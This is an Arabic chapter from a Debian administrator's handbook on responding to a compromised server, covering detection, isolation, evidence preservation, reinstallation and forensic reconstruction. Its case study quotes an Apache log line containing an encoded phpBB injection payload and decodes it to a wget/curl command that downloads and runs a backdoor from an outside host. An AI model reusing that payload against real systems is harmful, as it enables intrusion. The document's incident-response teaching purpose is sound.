14.7. التعامل مع جهاز مُختَرَق

بالرغم من أحسن النوايا ومهما كانت السياسة الأمنية مصممة بحذر، سيواجه مدير النظام حالة قرصنة في النهاية. يقدّم هذا القسم بعض الإرشادات عن كيفية التصرف عند مواجهة هذه الظروف المشؤومة.

14.7.1. اكتشاف وملاحظة تطفل المخترقين

الخطوة الأولى في مواجهة الاختراق هي اكتشاف هذا النشاط. لا يُظهِر النشاط نفسه، خصوصاً في حال غياب البنية التحتية المناسبة لمراقبة النظام.

لا تُكتشَف النشاطات التخريبية غالباً قبل أن تؤثر مباشرة على الخدمات المشروعة التي يستضيفها الجهاز، مثل انخفاض سرعة الاتصالات، أو عدم قدرة بعض المستخدمين على الاتصال، أو أي نوع آخر من الأعطال. عند مواجهة هذه المشاكل، يضطر مدير النظام لفحص الجهاز جيداً وتقصي العطل بحذر. هذا هو الوقت الذي يكتشف فيه عملية غير عادية، مثل عملية اسمها apache بدلاً من العملية النظامية /usr/sbin/apache2. إذا أردنا متابعة هذا المثال، الخطوة التالية هي ملاحظة رقم تتعريف العملية، والتحقق من /proc/pid/exe لمعرفة البرنامج الذي تُنفّذه هذه العملية حالياً:

# ls -al /proc/3719/exe
lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc

برنامج مُثبّتٌ في /var/tmp/ ويعمل كمخدم وب؟ الجهاز مُختَرَق ولا ريب.

هذا مثال واحد فقط، لكن هناك أمارات أخرى كثيرة يمكن أن تثير حفيظة مدير النظام:

عدم عمل أحد خيارات أمر ما؛ الإصدارة التي يدعيها البرنامج لا تطابق الإصدارة التي يُفتَرض أنها مثبتة حسب dpkg؛
ترحيب من سطر الأوامر أو جلسة العمل يُظهِر أن آخر اتصال كان من مخدم غير معروف من قارة أخرى؛
أخطاء ناجمة عن امتلاء قسم /tmp/، الذي تبيّن أنه محشو بنسخ غير قانونية للأفلام؛
وغير ذلك.

14.7.2. فصل المخدم عن الشبكة

في جميع الحالات عدا العجيبة منها، ترد الاختراقات من الشبكة، ويحتاج المهاجم لشبكة فعالة للوصول إلى أهدافه (الوصول لمعلومات سرية، مشاركة ملفات غير قانونية، إخفاء هويته عبر استخدام الجهاز كمحطة ترحيل، وغيرها). فصل الجهاز عن الشبكة سيمنع المهاجم من الوصول لهذه الأهداف، إن لم يتمكن من تحقيقها بعد.

قد لا يكون هذا ممكناً إذا لم يكن الوصول الفيزيائي للمخدم متاحاً. أما إذا كانت استضافة المخدم في مركز بيانات لمزود خدمة يقع في الجانب الآخر من البلاد، أو إذا لم يكن الوصول للمخدم ممكناً لأي سبب آخر، فمن الجيد عادة البدء بجمع بعض المعلومات المهمة (انظر قسم 14.7.3, “الاحتفاظ بكل ما يمكن استخدامه كدليل”، وقسم 14.7.5, “التحليل الجنائي” وقسم 14.7.6, “إعادة بناء سيناريو الهجوم”)، ثم عزل ذلك المخدم قدر المستطاع عبر إيقاف أكبر عدد ممكن من الخدمات (كل الخدمات عدا sshd عادة). لا تزال هذه الحالة غير ملائمة، لأنك لا تستطيع الجزم بأن المهاجم لا يملك صلاحيات الدخول عبر SSH كما هي حال مدير النظام؛ هذا يجعل ”تنظيف“ الأجهزة أصعب.

14.7.3. الاحتفاظ بكل ما يمكن استخدامه كدليل

لفهم الهجوم و (أو) اتخاذ إجراءات قانونية ضد المهاجمين يجب أخذ نسخ عن جميع العناصر المهمة؛ هذا يتضمن محتويات القرص الصلب، ولائحة بجميع العمليات الفعالة، ولائحة بجميع الاتصالات المفتوحة. يجب استخدام محتويات الذاكرة RAM أيضاً، لكنها نادراً ما تستخدم عملياً.

في غمرة الحدث؛ يميل مديرو النظم غالباً لتنفيذ العديد من الفحوصات على الجهاز المُختَرَق؛ هذه ليست فكرة جيدة عادة. أي أمر تنفذه يحتمل أن يمسح جزءاً من الأدلة. يجب تقليل الفحوصات إلى أقل ما يمكن (netstat -tupan لاتصالات الشبكة، ps auxf للحصول على قائمة العمليات، ls -alR /proc/[0-9]* لمزيد من المعلومات الإضافية عن البرامج الفعالة)، كما يجب كتابة كل الفحوصات التي أجريت بحذر.

تحذير التحليل الساخن

رغم أن تحليل النظام أثناء عمله مغر جداً، خصوصاً عند عدم إمكانية الوصول الفيزيائي للمخدم، إلا أن الأفضل تفادي ذلك: ببساطة أنت لا تستطيع أن تثق بالبرامج المثبتة حالياً على النظام المخرب. من الممكن جداً أن يخفي أمر ps مُخرّب بعض العمليات، أو أن يخفي أمر ls مُعدَّل بعض الملفات؛ أحياناً حتى النواة قد تكون مُخرَّبَة!

إذا كان هناك حاجة لإجراء تحليل ساخن كهذا، فلا بد من أخذ الحيطة واستخدام برامج سليمة موثوقة. من الطرق الجيدة لفعل هذا استخدام CD إنقاذ فيه البرامج الأصلية، أو مشاركة شبكية للقراءة فقط. على أي حال، حتى هذه الإجراءات المضادة قد لا تكفي، إذا كانت النواة نفسها تعرضت للعبث.

فور حفظ العناصر ”الديناميكية“، الخطوة التالية هي تخزين صورة عن القرص الصلب. لا يمكن أخذ صورة كهذه إذا كان نظام الملفات في تغيُّر، ولذلك يجب إعاده ربطه في وضع القراءة فقط. أبسط حل في الغالب هو إيقاف المخدم قسراً (بعد تشغيل sync) وإعادة إقلاعه إلى قرص إنقاذ. يجب نسخ جميع الأقسام باستخدام أداة مثل dd؛ يمكن إرسال هذه الصور إلى مخدم آخر (ربما عبر استخدام الأداة nc التي تفيد كثيراً في إرسال البيانات الناتجة عن dd إلى جهاز آخر). هناك احتمال آخر ربما كان أبسط: فقط أخْرِج القرص من الجهاز واستبدله بآخر جديد يمكن إعادة تهيئته وتثبيت النظام عليه.

14.7.4. إعادة التثبيت

يجب عدم إعادة وصل المخدم بالشبكة قبل إعادة تثبيت النظام عليه بالكامل. إذا كان الاختراق عميقاً (إذا حصل المهاجم على صلاحيات الإدارة)، فلا توجد طريقة أخرى تقريباً للتأكد من أننا تخلصنا من جميع مخلفات المهاجم (خصوصاً الأبواب الخلفية backdoors). طبعاً، يجب تطبيق آخر التحديثات الأمنية أيضاً لسد الثغرة التي استخدمها المهاجم. مثالياً، يجب أن يشير تحليل الهجوم إلى نوع الهجمة التي استخدمت، بحيث يتأكد المرء من إصلاحها حقاً؛ وإلا، فإنه لا يسع الإنسان إلا أن يأمل أن الثغرة كانت واحدة من الثغرات التي أصلحتها التحديثات.

إعادة تثبيت النظام على مخدم بعيد ليست عملية سهلة دوماً؛ قد تحتاج مساعدة من شركة الاستضافة، لأن بعض هذه الشركات لا توفر أنظمة مؤتمتة لإعادة تثبيت النظام. يجب الانتباه لعدم إعادة تثبيت نسخة احتياطية أُخذِت بعد حدوث الاختراق. مثالياً، يجب استعادة البيانات فقط، أما البرمجيات فيجب إعادة تثبيتها من وسائط التثبيت.

14.7.5. التحليل الجنائي

بعد استعادة الخدمة، حان الوقت لفحص صور القرص المأخوذة من النظام المخترق في سبيل فهم طريقة الهجوم. عند ربط هذه الصور بنظام الملفات، يجب الانتباه لاستخدام الخيارات ro,nodev,noexec,noatime لتفادي تعديل محتوياتها (بما في ذلك تواريخ الوصول للملفات) أو تشغيل برامج مشبوهة عن طريق الخطأ.

يشمل تتبع سلسلة أحداث الهجوم عادة البحث عن كل شيء تَعدَّل أو نُفِّذ:

قراءة ملفات .bash_history مثيرة جداً للاهتمام غالباً؛
كذلك سرد الملفات التي أنشئت مؤخراً، أو عدّلت أو فُتِحَت؛
يساعد الأمر strings في التعرف على البرامج التي ثبّتَها المخترِق، عبر استخراج السلاسل النصية من الملفات الثنائية؛
تسمح ملفات السجلات في /var/log/ غالباً بإعادة بناء تسلسل زمني للأحداث.
كما تسمح الأدوات المتخصصة باستعادة محتويات أي ملفات محذوفة، بما فيها ملفات السجلات التي يحذفها المهاجمون غالباً.

يمكن تسهيل بعض هذه العمليات عبر برمجيات متخصصة. تحديداً، توفر الحزمة sleuthkit أدوات عديدة لتحليل نظام الملفات. تُسهّل الواجهة الرسومية Autopsy Forensic Browser (من الحزمة autopsy ) استخدام هذه الأدوات.

14.7.6. إعادة بناء سيناريو الهجوم

يجب أن تنطبق جميع العناصر التي جُمِعَت أثناء عملية التحليل مع بعضها مثل قطع أحجية تركيب الصور؛ غالباً ما يترافق إنشاء أولى الملفات المشبوهة مع سجلات تُثْبت عملية الاختراق. يجب أن تكون الأمثلة الحقيقية أفصح من اللغو النظري.

السجل التالي هو جزء من سجل access.log التابع لأباتشي:

www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] "GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1" 200 27969 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

هذا المثال ناتج عن استغلال ثغرة أمنية قديمة في phpBB.

→ http://secunia.com/advisories/13239/

→ http://www.phpbb.com/phpBB/viewtopic.php?t=240636

عبر فك تشفير عنوان URL الطويل هذا سنفهم أن المهاجم قد تمكن من تنفيذ كود PHP التالي: system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &"). وبالفعل، لقد عثرنا على ملف bd في /tmp/. يعيد لنا تنفيذ strings /mnt/tmp/bd مجموعة سلاسل، منها PsychoPhobia Backdoor is starting.... يبدو أنه باب خلفي فعلاً.

في وقت لاحق، استُخدِمَت هذه الصلاحيات لتنزيل وتثبيت وتشغيل بوت IRC يتصل بشبكة IRC سرية (underground). يمكن بعدها التحكم بالبوت عبر هذا البروتوكول وأمره بتنزيل ملفات للمشاركة. بل إن هناك سجل خاص بهذا البرنامج:

** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202)
** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.POOL8250.INTERBUSINESS.IT
** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to 82.50.72.202:1024
** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating
** 2004-11-29-19:50:20: DCC CHAT Correct password
(...)
** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB)
(...)
** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB)
(...)
** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB/sec)
(...)
** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)

تُظهِر هذه الأمثلة تخزين ملفي فيديو على المخدم بوساطة العنوان 82.50.72.202.

على التوازي، عمد المهاجم إلى تنزيل زوج من الملفات الإضافية، /tmp/pt و /tmp/loginx تمرير هذين الملفين على strings يعطي سلاسل مثل Shellcode placed at 0x%08lx و Now wait for suid shell.... يبدوان وكأنهما برنامجين لاستغلال الثغرات المحلية للحصول على الصلاحيات الإدارية. لكن هل حققا هدفهما؟ في هذه الحالة، غالباً لم يصلا، لأنه لا يبدو أن هناك ملفات عُدّلت بعد الاختراق الأولي.

في هذا المثال، أعدنا بناء عملية التطفل كاملة، ويمكن أن نستنتج أن المهاجم تمكن من الاستفادة من النظام المخترق لحوالي ثلاثة أيام؛ لكن أهم عنصر في هذا التحليل هو أننا قد تعرفنا على الثغرة، ويستطيع مدير النظام أن يضمن أن الثغرة قد أُصلحَت فعلاً في التثبيت الجديد.